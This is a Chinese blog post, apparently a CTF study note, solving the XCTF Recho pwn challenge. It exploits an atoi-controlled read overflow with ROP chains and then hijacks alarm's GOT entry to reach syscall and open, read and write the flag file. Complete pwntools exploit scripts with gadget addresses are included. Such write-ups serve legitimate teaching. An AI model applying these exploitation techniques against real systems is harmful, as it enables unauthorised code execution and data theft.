【pwn学习】GOT表劫持
文章目錄
- 例題
- GOT表劫持獲取Syscall
- open-read-write
- 利用系統調用號調用open
- 構造payload
- 獲取syscall
- 讀取flag文件
- exp
例題
例題:XCTF-008-Recho
查看函數和字符串
[0x00400630]> afl 0x00400630 1 43 entry0 0x00400660 4 50 -> 41 sym.deregister_tm_clones 0x004006a0 4 58 -> 55 sym.register_tm_clones 0x004006e0 3 28 entry.fini0 0x00400700 4 38 -> 35 entry.init0 0x004008b0 1 2 sym.__libc_csu_fini 0x004008b4 1 9 sym._fini 0x00400840 4 101 sym.__libc_csu_init 0x00400791 6 164 main 0x00400726 1 107 sym.Init 0x00400610 1 6 sym.imp.setvbuf 0x004005f0 1 6 sym.imp.alarm 0x004005a0 3 23 sym._init 0x004005d0 1 6 sym.imp.write 0x004005e0 1 6 sym.imp.printf 0x00400600 1 6 sym.imp.read 0x00400620 1 6 sym.imp.atoi[0x00400630]> iz [Strings] Num Paddr Vaddr Len Size Section Type String 000 0x000008c4 0x004008c4 25 26 (.rodata) ascii Welcome to Recho server!\n 000 0x00001058 0x00601058 4 5 (.data) ascii flag木有發現/bin/sh字符串,但是有個flag字符串,沒有system函數。
- write: 可以用來泄露libc地址
- sym.__libc_csu_init:萬能gadget
- read:存入的內存空間小于讀入大小時,發生溢出
尋找溢出點
? 直接尋找,未發現溢出點,但是通過調試main可以發現。讀入的第一個字符串將經過atoi()轉化為整形,而這個結果將作為第二個read函數讀取的長度限制。因此用戶可以通過第一次的輸入一個長度很大的數,再使用第二個read造成溢出。
| :| 0x004007c2 e859feffff call sym.imp.atoi | :| 0x004007c7 8945fc mov dword [var_4h], eax | :| 0x004007ca 837dfc0f cmp dword [var_4h], 0xf | ,===< 0x004007ce 7f07 jg 0x4007d7 | |:| 0x004007d0 c745fc100000. mov dword [var_4h], 0x10 ; 16 | |:| ; CODE XREF from main @ 0x4007ce | `---> 0x004007d7 8b45fc mov eax, dword [var_4h] | :| 0x004007da 4863d0 movsxd rdx, eax | :| 0x004007dd 488d45d0 lea rax, qword [var_30h] | :| 0x004007e1 4889c6 mov rsi, rax | :| 0x004007e4 bf00000000 mov edi, 0 | :| 0x004007e9 e812feffff call sym.imp.readPayload
? 有/bin/sh,沒有system,嘗試利用write泄露libc,payload有三個參數,需要用到rdi,rsi,rdx三個寄存器。
payload = b'a' * (0x30 + 0x8) payload += p64(pop_rdi) + p64(0x1) payload += p64(pop_rsi) + p64(write_got) payload += p64(pop_rdx) + p64(0x8) payload += p64(write_plt) + p64(main)獲取libc基址后,構造第二個payload獲取shell
payload = b'a' * (0x30 + 0x8) payload += p64(pop_rdi) + p64(binsh) payload += p64(system)exp
from pwn import * from LibcSearcher import * context.log_level = 'debug'# conn = remote('',) conn = process('./008_Recho')elf = conn.elfmain = 0x00400791 write_got = elf.got['write'] write_plt = elf.got['write'] pop_rdi = 0x004008a3 pop_rsi_r15 = 0x004008a1 pop_rdx = 0x004006fepayload_1 = b'a' * (0x30 + 0x8) payload_1 += p64(pop_rdi) + p64(0x1) payload_1 += p64(pop_rsi_r15) + p64(write_got) + p64(0) payload_1 += p64(pop_rdx) + p64(0x8) payload_1 += p64(write_plt) + p64(main)conn.recvuntil(b'Welcome to Recho server!\n') conn.sendline('100') conn.sendline(payload_1) conn.recvline() write = u64(conn.recv(8).split(b'\n')[0].ljust(8, b'\x00'))libc = LibcSearcher('write', write) libc_base = write - libc.dump('write')system = libc_base + libc.dump('system') binsh = libc_base + libc.dump('str_bin_sh')payload_2 = b'a' * (0x30 + 0x8) payload_2 += p64(pop_rdi) + p64(binsh) payload_2 += p64(system) conn.recvuntil(b'Welcome to Recho server!\n') conn.sendline('100') conn.sendline(payload_2) conn.recvline() conn.interactive()結束了嗎?理想很豐滿,但是現實很骨感,運行exp返現并不能獲得shell。
再次回到main函數注意到函數結尾有這樣一段
... | : 0x00400817 ba10000000 mov edx, 0x10 ; 16 | : 0x0040081c 4889c6 mov rsi, rax | : 0x0040081f bf00000000 mov edi, 0 | : 0x00400824 e8d7fdffff call sym.imp.read | : 0x00400829 4885c0 test rax, rax | `==< 0x0040082c 7f8d jg 0x4007bb | 0x0040082e b800000000 mov eax, 0 | 0x00400833 c9 leave \ 0x00400834 c3 retread()函數會返回獲取的字符串的長度存入rax中,接下來判斷rax是否大于0,只有rax小于等于0才會結束main函數。但是利用pwntools的send()函數,沒辦法發送長度為0的字符串,因此這里只能利用pwntools的shutdown()函數斷開鏈接,使read()出錯,返回-1,才能跳出main函數。但是shutdown之后,我們沒辦法維持通信,也無法進行第二次溢出獲取shell。所以這里只能利用一次溢出直接獲取flag,而不是以維持連接的方式獲取shell。
這個時候需要利用船新的方法 - GOT表劫持
GOT表劫持獲取Syscall
根據之前的知識,我們知道got表中在函數執行過一次后,將存儲函數的實際地址。且
實際地址 = libc基址 + 函數在libc中的偏移
而在libc確定的情況下,libc的每個函數相對libc的偏移都是固定的。通過計算
syscallAddr = libcBase + syscallOffset = libcBase + (syscallOffset + fooOffset - fooOffset)= libcBase + fooOffset + syscallOffset - fooOffset= fooAddr + syscallOffset - fooOffset假設我們知道函數foo的實際地址和foo與syscall偏移地址的差,我們就可以獲取syscall的實際地址。
這里要介紹一個可以利用的函數alarm(),找個libc文件,然后反匯編看一下alarm的匯編代碼
/ (fcn) sym.alarm 33 | sym.alarm (); | ; XREFS(26) | 0x000cc200 b825000000 mov eax, 0x25 ; '%' | 0x000cc205 0f05 syscall ; syscall = sym.alarm + 0x5 | 0x000cc207 483d01f0ffff cmp rax, -0xfff | ,=< 0x000cc20d 7301 jae 0xcc210 | | 0x000cc20f c3 ret | | ; CODE XREF from sym.alarm @ 0xcc20d | `-> 0x000cc210 488b0d617c2f. mov rcx, qword [0x003c3e78] ; [0x3c3e78:8]=0 | 0x000cc217 f7d8 neg eax | 0x000cc219 648901 mov dword fs:[rcx], eax | 0x000cc21c 4883c8ff or rax, 0xffffffffffffffff \ 0x000cc220 c3 ret? 發現alarm中就有一個syscall指令,而syscall和alarm的偏移地址是0x000cc205 - 0x000cc200 = 0x5。因此我們可以得到syscall的實際地址 = alarm的實際地址 + 0x5
現在我們已經有了syscall,但是進一步怎么獲取shell或者獲取flag呢?
open-read-write
下面用到open-read-write的技巧獲取flag。
file fd = open('flag', READONLY); // linux中open系統調用返回fd:第一個打開的文件fd=3,第二個文件fd=4,依次類推 read(fd=3, save_to, size); write(fd=1, save_to, size);save_to的內存空間需要有讀寫權限,通過查看段的權限,可以發現.bss段有讀寫權限,因此將save_to寫入到bss段中
利用系統調用號調用open
read和write函數在程序中可以找到,而open并沒有,需要使用syscall直接調用獲取。系統的調用號可以在文件/usr/include/x86_64-linux-gnu/asm/unistd_64.h 中獲取
root@kali:/usr/include/x86_64-linux-gnu/asm# cat unistd_64.h #ifndef _ASM_X86_UNISTD_64_H #define _ASM_X86_UNISTD_64_H 1#define __NR_read 0 #define __NR_write 1 #define __NR_open 2 #define __NR_close 3 #define __NR_stat 4 #define __NR_fstat 5 ...構造payload
獲取syscall
根據上面的分析,需要獲取計算alarm的got地址 加上 0x5,因此需要先做一次加法,再將結果寫入到內存里。
0x0040070d 0007 add byte [rdi], al0x0040070f c3 ret接下來還需要這兩個rdi和rax兩個寄存器的gadget
[0x004005f0]> /R pop rdi0x004008a3 5f pop rdi0x004008a4 c3 ret[0x004005f0]> /R pop rax0x004006fc 58 pop rax0x004006fd c3 ret構造paylaod
payload = b'a' * (0x30 + 0x8) payload += p64(pop_rdi) + p64(alarm_got) payload += p64(pop_rax) + p64(0x5) payload += p64(add_rdi_al)此時rdi指向的內存地址中存儲的即為syscall的地址。后續可以通過調用alarm_plt來調用syscall
讀取flag文件
payload += p64(pop_rdi) + p64(filepath) payload += p64(pop_rsi) + p64(0) payload += p64(pop_rax) + p64(0x2) payload += p64(alarm_plt)執行成功后,將成功打開目標文件,接下來要把打開的文件中的內容讀入目標地址
payload += p64(pop_rdi) + p64(0x3) payload += p64(pop_rsi) + p64(save_to) payload += p64(pop_rdx) + p64(size) payload += p64(read_plt)最后,利用write把讀取的文件內容打印出來
payload += p64(pop_rdi) + p64(0x1) payload += p64(pop_rsi) + p64(save_to) payload += p64(pop_rdx) + p64(size) payload += p64(write_plt)exp
from pwn import * context.log_level = 'debug'conn = process('./008_Recho')pop_rdi = 0x004008a3 pop_rax = 0x004006fc add_rdi_al = 0x0040070d pop_rsi_r15 = 0x004008a1 pop_rdx = 0x004006fefilepath = 0x00601058 # 存入bss段地址 save_to = 0x00601060 # 多次嘗試后,挑選可以獲取完整flag的長度即可 size = 0x30elf = conn.elf alarm_plt = elf.plt['alarm'] alarm_got = elf.got['alarm'] read_plt = elf.plt['read'] write_plt = elf.plt['write']# 溢出 payload = b'a' * (0x30 + 0x8) # 修改alarm Got表 payload += p64(pop_rdi) + p64(alarm_got) payload += p64(pop_rax) + p64(0x5) payload += p64(add_rdi_al) # open(path, readonly) payload += p64(pop_rdi) + p64(filepath) payload += p64(pop_rsi_r15) + p64(0) + p64(0) payload += p64(pop_rax) + p64(0x2) payload += p64(alarm_plt) # read(fd=3, save_to,size) payload += p64(pop_rdi) + p64(0x3) payload += p64(pop_rsi_r15) + p64(save_to) + p64(0) payload += p64(pop_rdx) + p64(size) payload += p64(read_plt) # write(fd=1, save_to, size) payload += p64(pop_rdi) + p64(0x1) payload += p64(pop_rsi_r15) + p64(save_to) + p64(0) payload += p64(pop_rdx) + p64(size) payload += p64(write_plt)conn.recvuntil(b'Welcome to Recho server!\n') conn.sendline(str(len(payload)).encode('utf-8')) conn.sendline(payload) conn.recv() conn.shutdown('send') conn.recv()坑
倒數第三行代碼,一開始使用的conn.recvline()接收,但是無法獲取flag,
查看返回的信息
[DEBUG] Received 0x2a bytes:00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│*00000020 61 61 61 61 61 61 61 61 20 01 │aaaa│aaaa│ ·│0000002a發現結尾是0x20和0x01,所以而不是0x0a因此,無法繼續向下進行
改為recv(),成功獲取
總結
以上是生活随笔為你收集整理的【pwn学习】GOT表劫持的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Android程序员一年没上班该如何找工
- 下一篇: Oracle + SQL 学习笔记